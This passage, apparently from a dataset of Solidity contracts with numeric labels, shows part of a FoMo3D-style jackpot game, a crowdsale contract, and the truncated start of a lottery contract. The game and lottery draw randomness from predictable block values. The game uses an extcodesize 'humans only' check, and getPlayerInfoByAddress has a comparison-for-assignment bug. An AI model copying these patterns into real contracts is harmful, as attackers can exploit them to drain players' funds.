F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,817 |
pragma solidity >=0.4.22 <0.6.0;
interface token {
function transfer(address receiver, uint amount) external;
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
constructor(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes
) public {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
deadline = now + durationInMinutes * 1 minutes;
}
function () payable external {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
emit FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() public afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
emit GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() public afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
emit FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (msg.sender.send(amountRaised)) {
emit FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 0 | 400 |
pragma solidity ^0.4.24;
library DataSet {
enum RoundState {
UNKNOWN,
STARTED,
STOPPED,
DRAWN,
ASSIGNED
}
struct Round {
uint256 count;
uint256 timestamp;
uint256 blockNumber;
uint256 drawBlockNumber;
RoundState state;
uint256 pond;
uint256 winningNumber;
address winner;
}
}
library NumberCompressor {
uint256 constant private MASK = 16777215;
function encode(uint256 _begin, uint256 _end, uint256 _ceiling) internal pure returns (uint256)
{
require(_begin <= _end && _end < _ceiling, "number is invalid");
return _begin << 24 | _end;
}
function decode(uint256 _value) internal pure returns (uint256, uint256)
{
uint256 end = _value & MASK;
uint256 begin = (_value >> 24) & MASK;
return (begin, end);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
}
contract Events {
event onActivate
(
address indexed addr,
uint256 timestamp,
uint256 bonus,
uint256 issued_numbers
);
event onDraw
(
uint256 timestatmp,
uint256 blockNumber,
uint256 roundID,
uint256 winningNumber
);
event onStartRunnd
(
uint256 timestamp,
uint256 roundID
);
event onBet
(
address indexed addr,
uint256 timestamp,
uint256 roundID,
uint256 beginNumber,
uint256 endNumber
);
event onAssign
(
address indexed operatorAddr,
uint256 timestatmp,
address indexed winnerAddr,
uint256 roundID,
uint256 pond,
uint256 bonus,
uint256 fund
);
event onRefund
(
address indexed operatorAddr,
uint256 timestamp,
address indexed playerAddr,
uint256 count,
uint256 amount
);
event onLastRefund
(
address indexed operatorAddr,
uint256 timestamp,
address indexed platformAddr,
uint256 amout
);
}
contract Winner is Events {
using SafeMath for *;
uint256 constant private MIN_BET = 0.01 ether;
uint256 constant private PRICE = 0.01 ether;
uint256 constant private MAX_DURATION = 30 days;
uint256 constant private REFUND_RATE = 90;
address constant private platform = 0x67064806CBF376Eb6ADf6548d0Cdc51A3437Dc4d;
uint256 private curRoundID;
uint256 private drawnRoundID;
uint256 private drawnBlockNumber;
uint256 private bonus;
uint256 private issued_numbers;
bool private initialized;
mapping (uint256 => DataSet.Round) private rounds;
mapping (uint256 => mapping(address => uint256[])) private playerNumbers;
mapping (address => bool) private administrators;
constructor() public {
}
modifier isAdmin() {
require(administrators[msg.sender], "only administrators");
_;
}
modifier isInitialized () {
require(initialized == true, "game is inactive");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry, humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= MIN_BET, "the bet is too small");
require(_eth <= PRICE.mul(issued_numbers).mul(2), "the bet is too big");
_;
}
function() public payable isHuman() isInitialized() isWithinLimits(msg.value)
{
bet(msg.value);
}
function initiate(uint256 _bonus, uint256 _issued_numbers) public isHuman()
{
require(initialized == false, "it has been initialized already");
require(_bonus > 0, "bonus is invalid");
require(_issued_numbers > 0, "issued_numbers is invalid");
initialized = true;
administrators[msg.sender] = true;
bonus = _bonus;
issued_numbers = _issued_numbers;
emit onActivate(msg.sender, block.timestamp, bonus, issued_numbers);
curRoundID = 1;
rounds[curRoundID].state = DataSet.RoundState.STARTED;
rounds[curRoundID].timestamp = block.timestamp;
drawnRoundID = 0;
emit onStartRunnd(block.timestamp, curRoundID);
}
function drawNumber() private view returns(uint256) {
return uint256(keccak256(abi.encodePacked(
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 1))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 2))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 3))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 4))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 5))))) / (block.timestamp)).add
